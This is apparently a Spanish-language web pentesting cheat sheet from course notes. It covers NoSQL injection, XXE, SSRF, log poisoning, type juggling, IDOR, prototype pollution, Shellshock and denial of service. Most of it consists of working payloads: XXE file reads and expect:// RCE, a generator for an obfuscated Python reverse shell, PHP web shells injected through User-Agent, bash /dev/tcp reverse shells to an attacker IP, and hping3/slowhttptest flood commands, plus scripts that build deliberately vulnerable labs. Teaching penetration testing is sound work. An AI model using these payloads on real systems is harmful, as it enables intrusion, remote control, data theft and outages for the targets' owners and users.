Podemos usar un Diccionario de Nombres para enumerar usuarios validos.
Script: <- Payload NoSQL.
username[$eq]=admin&password[$ne]=admin
Script: <- Payload NoSQL.
username[$ne]=admin&password[$ne]=admin
Script: <- Payload NoSQL.
username=admin&password[$ne]=
Script: <- Payload NoSQL.
username[$ne]=&password[$ne]=
Si queremos hacerlo en la vía: “Content-Type: application/json” usaremos los siguientes payloads:
Script: <- Aplicamos lo siguiente en el: “Content-Type”:
Content-Type: application/json
Podemos usar un Diccionario de Nombres para enumerar usuarios validos.
Script: <- Payload NoSQL.
{"username":{"$eq":"admin"},"password":{"$ne":"admin"}}
Script: <- Payload NoSQL.
{"username": {"$ne": admin}, "password": {"$ne": admin}}
Script: <- Payload NoSQL.
{"username": "admin", "password": {"$ne": ""}}
Script: <- Payload NoSQL.
{"username": {"$ne": ""}, "password": {"$ne": ""}}
La inyección de entidad externa XML (XXE) es una vulnerabilidad de seguridad en aplicaciones que procesan entradas XML, como aplicaciones web o servicios web. En un ataque XXE, un atacante inyecta una entidad XML maliciosa en una solicitud HTTP que es procesada por el servidor. Esta entidad puede hacer referencia a archivos del sistema, servicios de red u otros recursos que normalmente no estarían disponibles, lo que permite al atacante acceder a información sensible o incluso ejecutar acciones no autorizadas en el servidor.
Script: <- Declara una entidad “myName”
<!DOCTYPE foo [<!ENTITY myName "MatthyGD">]>
Script: <- Ponemos “&myName;” en el parámetro que modifique la petición ya que es vulnerable.
&myName;
Script: <- Modificamos el “/etc/passwd” por el archivo que queramos apuntar de la maquina.
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
Script: <- Ponemos “&myFile;” en el parámetro que modifique la petición.
&myFile;
Script: <- Apuntamos al archivo mediante XXE en base64.
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
Script: <- Ponemos “&myFile;” en el parámetro que modifique la petición.
&myFile;
Script: <- Conseguimos RCE.
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY myRCE SYSTEM "expect://id" >]>
Script: <- Ponemos “&myRCE;” en el parámetro que modifique la petición.
&myRCE;
Script: <- Conseguimos RCE.
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY myRCE SYSTEM "php://filter/convert.base64-encode/resource=expect://id" >]>
Script: <- Ponemos “&myRCE;” en el parámetro que modifique la petición.
&myRCE;
Script: <- Conseguimos RCE.
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY myRCE SYSTEM "expect://cat$IFS/etc/passwd" >]>
Script: <- Ponemos “&myRCE;” en el parámetro que modifique la petición.
&myRCE;
Script: <- Conseguimos RCE.
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY myRCE SYSTEM "php://filter/convert.base64-encode/resource=expect://cat$IFS/etc/passwd" >]>
Script: <- Ponemos “&myRCE;” en el parámetro que modifique la petición.
&myRCE;
Script: <- Creamos el archivo y obtenemos el código malicioso.
nano xxe_rev.sh && chmod +x xxe_rev.sh && ./xxe_rev.sh <IP atacante> <Puerto>
Script: <- Ponemos el siguiente contenido dentro del interior del archivo creado.
#!/usr/bin/env bash
# Genera el payload XXE -> RCE (via expect://) para una reverse shell,
# evitando los caracteres que libxml rechaza en el SYSTEM literal:
# espacio, >, [, ], ", \
#
# Uso: ./xxe_rce_gen.sh <IP> <PUERTO>
set -euo pipefail
IP="${1:?uso: $0 <IP> <PUERTO>}"
PORT="${2:?uso: $0 <IP> <PUERTO>}"
chr_concat() {
python3 -c "
import sys
print('+'.join(f'chr({ord(c)})' for c in sys.argv[1]))
" "$1"
}
SOCKET_STR=$(chr_concat "socket")
OS_STR=$(chr_concat "os")
SH_STR=$(chr_concat "/bin/sh")
FLAG_STR=$(chr_concat "-i")
IP_STR=$(chr_concat "$IP")
PYCODE="socket=__import__($SOCKET_STR);os=__import__($OS_STR);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(($IP_STR,$PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.execv($SH_STR,($SH_STR,$FLAG_STR))"
URI="expect://python3\$IFS-c\$IFS'$PYCODE'"
echo "<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY myRCE SYSTEM \"$URI\">]>"
Ponemos todo el output anterior en la declaración: “DOCTYPE”
Script: <- Ponemos “&myRCE;” en el parámetro que modifique la petición.
&myRCE;
SSRF (Server-Side Request Forgery) es una vulnerabilidad de seguridad que permite a un atacante manipular una aplicación web para que realice solicitudes HTTP a recursos arbitrarios, como servidores internos, locales o externos no previstos. Por ejemplo, un atacante podría hacer que la aplicación acceda a http://localhost, http://127.0.0.1 o servicios internos como bases de datos o APIs, explotando parámetros vulnerables (como URLs en formularios). Esto puede llevar a accesos no autorizados, filtración de datos o ataques a sistemas internos.
Script: <- Montamos el laboratorio.
cd /var/www/html/ && rm -r ./* && git clone https://github.com/ph4nt0m-py/SSRF-LAB && mv SSRF-LAB/* . && rm -r SSRF-LAB && sudo mkdir -p /var/www/html/web20123 && sudo bash -c 'echo "<html><h1>¡Hola desde la web en el puerto 20123!</h1></html>" > /var/www/html/web20123/index.html' && sudo chown -R www-data:www-data /var/www/html/web20123 && sudo chmod -R 755 /var/www/html/web20123 && (grep -q "Listen 20123" /etc/apache2/ports.conf || sudo bash -c 'echo -e "Listen 20123\n$(cat /etc/apache2/ports.conf)" > /etc/apache2/ports.conf') && sudo bash -c 'echo -e "<VirtualHost *:20123>\n ServerAdmin webmaster@localhost\n DocumentRoot /var/www/html/web20123\n ServerName localhost\n <Directory /var/www/html/web20123>\n Options Indexes FollowSymLinks\n AllowOverride All\n Require all granted\n </Directory>\n ErrorLog ${APACHE_LOG_DIR}/web20123_error.log\n CustomLog ${APACHE_LOG_DIR}/web20123_access.log combined\n</VirtualHost>" > /etc/apache2/sites-available/web20123.conf' && (sudo a2ensite web20123.conf 2>/dev/null || true) && sudo bash -c 'echo "ServerName localhost" >> /etc/apache2/apache2.conf' && sudo apache2ctl configtest && sudo systemctl restart apache2
Se accede en: “http://localhost:80/”
Veremos que la web victima podemos acceder a recursos externos y de terceros, cuando podamos hacer algo de este mismo estilo, lo primero que tenemos que pensar como atacantes es probar a enumerar recursos internos del sistema de la victima.
Script: <- Probamos a contemplar la propia web de la victima.
http://127.0.0.1:80/
Si el resultado es la misma web victima, tenemos via libre para poder enumerar todos los servicios internos de la victima.
Una vez que sabemos que podemos enumerar la web interna del sistema de la victima el siguiente paso es enumerar todos los servicios que tiene la victima y para ello interceptaremos la petición con Burpsuite o cualquier Proxy que mas nos guste para hacer el ataque de Diccionario numérico al valor del puerto
El Log Poisoning es un método de ataque donde un atacante altera los registros (logs) gracias al: “User-Agent” de una aplicación web con la intención de causar un daño o efecto malicioso usando código malicioso en PHP. Este ataque puede combinarse con una vulnerabilidad de Inclusión de Archivos Locales (LFI) para conseguir la ejecución remota de comandos en el servidor afectado.
Script: <- Montamos el laboratorio.
sudo bash -c 'cat > /var/www/html/vulnerable.php << "EOF"
<?php
if(isset($_GET["page"])) {
$page = $_GET["page"];
echo "<h1>Contenido de: " . htmlspecialchars($page) . "</h1>";
echo "<pre>";
include($page);
echo "</pre>";
} else {
echo "<h1>Servidor Vulnerable LFI</h1>";
echo "<form method=\"GET\">";
echo "<input type=\"text\" name=\"page\" value=\"/etc/passwd\" size=\"50\">";
echo "<input type=\"submit\" value=\"Cargar archivo\">";
echo "</form>";
echo "<p><a href=\"/vulnerable.php?page=/etc/passwd\">/etc/passwd</a></p>";
echo "<p><a href=\"/vulnerable.php?page=../../../../var/log/apache2/access.log\">Logs de Apache</a></p>";
}
?>
EOF' && sudo chmod 644 /var/log/apache2/access.log && sudo chown www-data:www-data /var/log/apache2/access.log && sudo chmod 755 /var/log/apache2/ && sudo systemctl restart apache2 && echo "Listo! Accede a: http://localhost/vulnerable.php"
Se accede en: “http://localhost/vulnerable.php”
Cuando un servidor presenta una vulnerabilidad de Inclusión de Archivos Locales (LFI), un atacante debe conseguir el RCE (Remote Command Execution)
Una de las practicas mas comunes es listar los logs que almacena la web para envenenarlos mediante comandos maliciosos en PHP, es por eso que usaremos el siguiente diccionario para contemplar los logs a nivel web:
Script: <- Diccionario personalizado de rutas absolutas donde se almacenan los logs a nivel web.
/var/log
/var/log/syslog
/var/log/messages
/var/log/auth.log
/var/log/secure
/var/log/dmesg
/var/log/cron
/var/log/maillog
/var/log/apache2
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/squid
/var/log/squid/access.log
/var/log/squid/cache.log
/var/log/squid/store.log
/var/log/btmp
/var/log/wtmp
/var/log/lastlog
/var/log/audit
/var/log/audit/audit.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/haproxy.log
/var/log/varnish/varnishncsa.log
/var/log/kern.log
/var/log/daemon.log
/var/log/mysql
/var/log/mysql/error.log
/var/log/postgresql
/var/log/postgresql/postgresql.log
/var/log/samba
/var/log/samba/log.smbd
/var/log/samba/log.nmbd
/var/log/fail2ban.log
/var/log/boot.log
Es el momento de acontecer comandos a nivel de sistema envenenando los Logs a nivel web, para ello haremos el siguiente comando:
Script: <- Envenenamos el log gracias al cambio dentro del Header: “User-Agent” y probamos a realizar comandos a nivel de sistema.
curl -s -X GET "http://example.com/testing" -H "User-Agent: <?php system('id'); ?>"
Una vez realizado el comando, recargamos la pagina web donde esta presenciado el archivo de logs a nivel web dentro de nuestro navegador web, si contemplamos el comando dentro de los logs significa que el ataque a sido exitoso y ya podemos acontecer una Reverse Shell.
Es el momento de acontecer una Reverse Shell envenenando los Logs a nivel web, para ello haremos el siguiente comando:
Script: <- Envenenamos el log gracias al cambio dentro del Header: “User-Agent” y probamos a realizar una Reverse Shell.
curl -s -X GET "http://example.com/testing" -H "User-Agent: <?php system('bash -c \"bash -i >& /dev/tcp/<IP atacante>/<Puerto NC> 0>&1\"'); ?>"
Si queremos hacer comandos vía URL sin tener que usar la terminal cada vez que queramos realizar un comando podemos hacer lo siguiente:
Script: <- Hacemos persistencia en la URL dándole la función cmd.
curl -s -X GET "http://example.com/testing" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
Una vez realizado el comando anterior podemos hacer RCE directamente desde la URL de la siguiente manera:
Script: <- Ejemplo de como usar la persistencia en URL.
Aconteciminto_LFI=Archivo_log&cmd=<Comando que queramos>
Ejemplo:
Script: <- Ejemplo de como usar la persistencia en URL.
http://example.com/index.php?filename=/var/log/apache2/access.log&cmd=id
AXFR, o “Full Zone Transfer” (Transferencia Completa de Zona), es un protocolo de Domain Name System DNS que permite la replicación de la información de un archivo de zona de un servidor DNS maestro (autoritativo) a otros servidores DNS secundarios
Cuando nosotros contemplemos un Dominio es de vital importancia hacer peticiones al servidor para contemplar si tenemos mas registros DNS y expandir la enumeración para un ataque posterior.
Aquí se os proporciona los comandos mas útiles para enumeración de registros DNS.
Para consultar absolutamente todos los registros usaremos el siguiente comando:
Script: <- Realizamos una petición para ver todos los registros de DNS.
dig @<IP victima> <example.com> all
Realizamos una petición AXFR (Recordemos que esto se considera ataque)
Script: <- Realizamos una petición al AXFR con Dig.
dig @<IP victima> <example.com> axfr
Realizamos una petición normal al DNS con Dig:
Script: <- Realizamos una petición normal con Dig.
dig @<IP> <example.com>
Realizamos una petición al TXT con Dig:
Script: <- Realizamos una petición al TXT con Dig.
dig @<IP> <example.com> TXT
Realizamos una petición al NS con Dig:
Script: <- Realizamos una petición al NS con Dig.
dig @<IP> <example.com> ns
Realizamos una petición al MX con Dig:
Script: <- Realizamos una petición al MX con Dig.
dig @<IP> <example.com> mx
El ataque de Type Juggling (o “cambio de tipo”) es una técnica de manipulación de tipos de datos que explota las diferencias entre cómo los lenguajes de programación manejan las conversiones implícitas de tipos. Este ataque puede ser aprovechado por un atacante para hacer que un programa realice acciones no deseadas o ejecute lógica incorrecta debido a una conversión no esperada de datos.
Script: <- Montamos el laboratorio.
sudo systemctl start apache2 && sudo rm -f /var/www/html/index.html /var/www/html/index.nginx-debian.html && echo '<?php session_start(); if (isset($_SESSION["loggedin"])) { header("Location: dashboard.php"); exit; } ?><!DOCTYPE html><html><head><title>Type Juggling Lab</title><link rel="stylesheet" href="styles.css"></head><body><div class="login-box"><h2>Login (Vulnerable a Type Juggling)</h2><form action="auth.php" method="POST"><input type="text" name="username" placeholder="Usuario" required><input type="password" name="password" placeholder="Contraseña" required><button type="submit">Ingresar</button></form><div class="hint"><p><strong>Pista:</strong> La contraseña se compara con <code>if ($password == "0e123456")</code></p></div></div></body></html>' > /var/www/html/index.php && echo '<?php session_start(); $secret_password = "0e123456"; if (empty($_POST["username"]) || empty($_POST["password"])) { die("Faltan credenciales"); } $username = $_POST["username"]; $password = $_POST["password"]; if ($password == $secret_password) { $_SESSION["loggedin"] = true; $_SESSION["username"] = $username; header("Location: dashboard.php"); } else { die("Credenciales incorrectas. Prueba con Type Juggling!"); } ?>' > /var/www/html/auth.php && echo '<?php session_start(); if (!isset($_SESSION["loggedin"])) { header("Location: index.php"); exit; } ?><!DOCTYPE html><html><head><title>Dashboard</title></head><body><h1>¡Bypass exitoso!</h1><p>Has explotado Type Juggling en PHP.</p><p>Usuario: <?php echo $_SESSION["username"]; ?></p><a href="logout.php">Cerrar sesión</a></body></html>' > /var/www/html/dashboard.php && echo 'body { font-family: Arial, sans-serif; background: #f4f4f9; } .login-box { width: 300px; margin: 100px auto; padding: 20px; background: white; box-shadow: 0 0 10px rgba(0,0,0,0.1); } .hint { margin-top: 20px; padding: 10px; background: #fff8e1; border-left: 4px solid #ffc107; }' > /var/www/html/styles.css && echo '<?php session_start(); session_destroy(); header("Location: index.php"); ?>' > /var/www/html/logout.php
Se accede en: “http://localhost:80/”
Si vemos un panel de login lo primero que tenemos que hacer como siempre es interceptar las peticiones que se trasmitan con un proxy (Burpsuite, ZAP, Caido, etc)
Si contemplamos que los parámetros son los siguientes:
Script: <- Ejemplo de parámetros básicos de un panel de login.
username=admin&password=admin
Podríamos modificarlo con los siguientes caracteres especiales para no validar la partes del password:
Script: <- Ejemplo de Type Juggling Attack.
username=admin&password[]=admin
Si el código de la victima esta mal securizado podemos entrar al panel como un usuario dado.
Nosotros podemos crear un diccionario personalizado muy potente para este tipo de vulnerabilidades, aquí se dejara un recurso para entender el concepto de Hashes mágicos: https://www.hackplayers.com/2018/03/hashes-magicos-en-php-type-jugling.html
El diccionario viene bien para reiterar con un ataque de Diccionario a la parte del password de manera automatizada y no tener que poner los datos uno por uno.
Script: <- Diccionario personalizado de payloads para Type Juggling Attack.
0
00
000000
0e123456
0e000000000000000000000000000000
0e000000000000000000000000000000000000000000000000000000000000
0x0
0x123
0xdeadbeef
0e1+
0.0
0||1
0+0
240610708
505144726
48291204
315655854
809793630
71437579
115528287
10000676
10000188
10000240
10000181
13181623570
62241955574
20583002034
QNKCDZO
aabg7XSs
10932435112
0e462097431906509019562988736854
0e830400451993494058024219903391
0e087386482136013740957780965295
0e07766915004133176347055865026311692244
s878926199a
s155964671a
s214587387a
s1091221200a
s1665632922a
s1502113478a
s1975215894a
true
false
null
TRUE
FALSE
NULL
on
off
yes
no
"0"
"0e1"
"0x1"
"0b1"
"000000"
"0xdeadbeef"
"0e000000000000000000000000000000"
"0x0"
"0.0"
"0 "
" 0"
0||1
1||0
0&&1
1&&0
0==1
1==0
0!=1
1!=0
0x1a2b3c
0xabcdef
0o755
0b101010
0x000000
0xffffffff
0e1abcdef
0x1.2p3
Las Insecure Direct Object References (IDOR) son una vulnerabilidad común en aplicaciones web que ocurre cuando no se validan correctamente los permisos de acceso a los recursos internos del sistema. Este tipo de ataque puede permitir a un atacante acceder o manipular datos o recursos de otros usuarios sin tener la autorización adecuada.
Imaginemos que tenemos una pagina web donde hay valores numéricos que se han asignados tanto de manera estática como dinámica a los diferentes archivos dentro del servidor.
Un ejemplo seria algo como lo siguiente:
Script: <- Ejemplo.
http://example.com/id=1
Nosotros podemos fuzzear el numero: “1” por otros números que serán identificadores asignados a un archivo, lo podemos hacer la siguiente manera:
Script: <- Fuzzeamos en el parámetro que acontece el identificador numérico.
wfuzz -c -t 200 -L -R 3 -D 7 --hc 404 -z range,<Numero>-<Numero> -u "http://example.com/id=FUZZ"
El ataque de Prototype Pollution (Contaminación del Prototype) es una técnica utilizada para explotar vulnerabilidades en la forma en que los objetos son manejados en JavaScript, lo que puede permitir a un atacante manipular el comportamiento de las aplicaciones web al modificar las propiedades del prototype de los objetos JavaScript. Este tipo de ataque puede ser muy peligroso ya que puede escalar privilegios, modificar el comportamiento de la aplicación e incluso ejecutar código malicioso.
Simplemente interceptamos la petición mediante BurpSuite para su posterior manipulación.
Si tenemos cookies lo ideal seria borrar las cookies para hacer una nueva petición y nos asignen una nueva cookie administrativa.
Esto es muy fácil, solo cambiamos el Content-Type como se muestra:
Script: <- Cambiamos el Content-Type. (Si no lo tiene lo creamos completo)
Content-Type: application/json
Ahora solo tenemos que cambiar los valores
Script: <- Ejemplo 1.
{
"username":"admin",
"password":"password",
"__proto__":{
"admin":true
}
}
Script: <- Ejemplo 2.
{
"username":"admin",
"password":"password",
"__proto__":{
"isAdmin":true
}
}
Script: <- Ejemplo 3.
{
"__proto__":{
"admin":true
}
}
Script: <- Ejemplo 4.
{
"__proto__":{
"isAdmin":true
}
}
Un ataque Shellshock es un tipo de ciberataque que explota un defecto en el intérprete Bash, presente en sistemas operativos Unix y Linux. Este fallo, identificado en 2014, es uno de los más significativos y extendidos en la historia de la informática.
La vulnerabilidad permite a los atacantes ejecutar órdenes maliciosas en el sistema afectado, lo que les otorga la capacidad de controlarlo, acceder a datos sensibles, alterar archivos o instalar software dañino.
Para explotar la vulnerabilidad: “ShellShock” lo primero que debemos averiguar es si existe el directorio: “/cgi-bin/”, de ser asi, probablemente exista un archivo vulnerable para derivarlo en un RCE:
Script: <- Buscamos directorios visibles dentro de la web.
gobuster dir -r -k -t 200 --no-error --add-slash -b 404 -w <Diccionario> -u http://example.com
Una vez descubierto el directorio, debemos buscar archivos dentro de el, para ello usaremos el siguiente comando:
Script: <- Buscamos archivos visibles dentro directorio.
ffuf -c -t 200 -r -fc 404 -e .cgi,.sh -w <Diccionario> -u "http://example.com/cgi-bin/FUZZ"
Si encontramos un archivo, la vulnerabilidad esta asegurada.
Ya tenemos el archivo descubierto que estaba alojado dentro del directorio: “/cgi-bin/” es por eso que haremos el siguiente comando para poder explotar dicha vulnerabiliadad:
Script: <- Ejecutamos RCE.
curl -H "User-Agent: () { :; }; echo; /usr/bin/whoami" http://example.com/cgi-bin/<Palabra encontrada>.<Extension encontrado>
Script: <- Ejecutamos la reverse shell.
curl -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/<IP atacante>/<Puerto> 0>&1'" http://example.com/cgi-bin/<Palabra encontrada>.<Extension encontrado>
Una Denegación de Servicio (DoS, por sus siglas en inglés) es un tipo de ataque cibernético cuyo objetivo es interrumpir la disponibilidad de un servicio, sistema o red, haciéndolo inaccesible para los usuarios legítimos. Este tipo de ataque busca sobrecargar los recursos de un servidor o una red para que no pueda atender las solicitudes legítimas, provocando una interrupción en el servicio.
Cabe destacar que este tipo de ataques se realiza con una botnet (Conjuntos de equipos hackeados para llevar una accion maliciosa) en este caso mandar peticiones a una web.
Si nosotros intentamos un DoS a una web posiblemente no logremos llegar a interrumpirla por nuestra capacidad de internet frente a las protecciones DoS y capacidad de internet de la empresa victima pero a rasgos generales podemos realizar este tipo de ataques a equipos como PC, Moviles, etc, dentro de una red domestica.
Ejemplos: Firewall/IPS con estado (agotar CPU de inspección → PPS)
Script: <- Ejecutamos un DoS para saturar el procesamiento de la CPU.
hping3 -S -c 100000 -d 0 -p <Puerto> --flood --rand-source <IP>
Este comando se usa para saturar la red.
Script: <- Ejecutamos un DoS para saturar la banda ancha de red.
hping3 -S -c 50000 -d 1400 -p <Puerto> --flood --rand-source <IP>
Script: <- Si queremos hacer una denegación de servicio a un aplicativo web.
slowloris -s 50000 -p <Puerto> -ua <IP>
Script: <- Si queremos hacer una denegación de servicio a un aplicativo web.
slowloris -s 50000 -p <Puerto> --https -ua <IP>
\r\n\r\n) que marca el final del bloque de cabeceras. Al no recibir ese indicador, el servidor considera que la petición sigue en curso y mantiene la conexión abierta a la espera del resto, en lugar de cerrarla o rechazarla. Repitiendo esto con muchas conexiones simultáneas se agota el número máximo de conexiones concurrentes que el servidor tiene configurado (MaxClients en Apache, worker_connections en Nginx), impidiendo que atienda a clientes legítimos.Script: <- Denegación de servicio a un aplicativo web mediante saturación de conexiones concurrentes por cabeceras HTTP incompletas (Slowloris/Slow Headers).
slowhttptest -c 50000 -r 100 -l 500 -i 10 -x 24 -p 3 -t GET -H -u http://example.com/index.html
Se envían peticiones POST con la cabecera HTTP completa e incluyendo un “Content-Length” con el tamaño en bytes del POST DATA a enviar. Luego se envían menos bytes que los indicados haciendo al servidor esperar sin rechazar la conexión.
Script: <- Denegación de servicio a un aplicativo web mediante saturación de conexiones concurrentes por envío lento del cuerpo de una petición POST (Slow Body / R-U-Dead-Yet).
slowhttptest -c 50000 -r 100 -l 500 -i 10 -x 24 -p 3 -s 8192 -t POST -B -u http://example.com/login.html
Se crean numerosas peticiones superponiendo rangos de bytes en la cabecera (HTTP ranges) agotando los recursos de memoria y CPU del servidor.
Script: <- Denegación de servicio a un aplicativo web mediante agotamiento de memoria/CPU explotando el procesamiento de cabeceras Range HTTP superpuestas (Apache Killer).
slowhttptest -c 50000 -r 100 -l 500 -a 10 -b 3000 -p 3 -t HEAD -R -u http://example.com/
Se envían peticiones HTTP legítimas pero se ralentiza el proceso de lectura de la respuesta retrasando el envío de ACK (HTTP es TCP).
Script: <- Denegación de servicio a un aplicativo web mediante agotamiento de conexiones/workers forzando una lectura extremadamente lenta de la respuesta HTTP (Slow Read).
slowhttptest -c 50000 -r 100 -l 500 -p 3 -w 512 -y 1024 -n 5 -z 32 -k 3 -t GET -X -u http://example.com/index.html
El Defacement (o “desfiguración” en español) es un tipo de ataque cibernético en el que un atacante modifica el contenido de un sitio web o servidor para mostrar información no autorizada, generalmente con fines de vandalismo, propaganda o descredito. Este ataque es comúnmente llevado a cabo en sitios web públicos y es uno de los tipos más visibles de ciberataques, ya que el contenido alterado suele ser inmediatamente accesible para los visitantes del sitio web.
Los conceptos de como realizar la explotación se verán en las clases del Master.
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.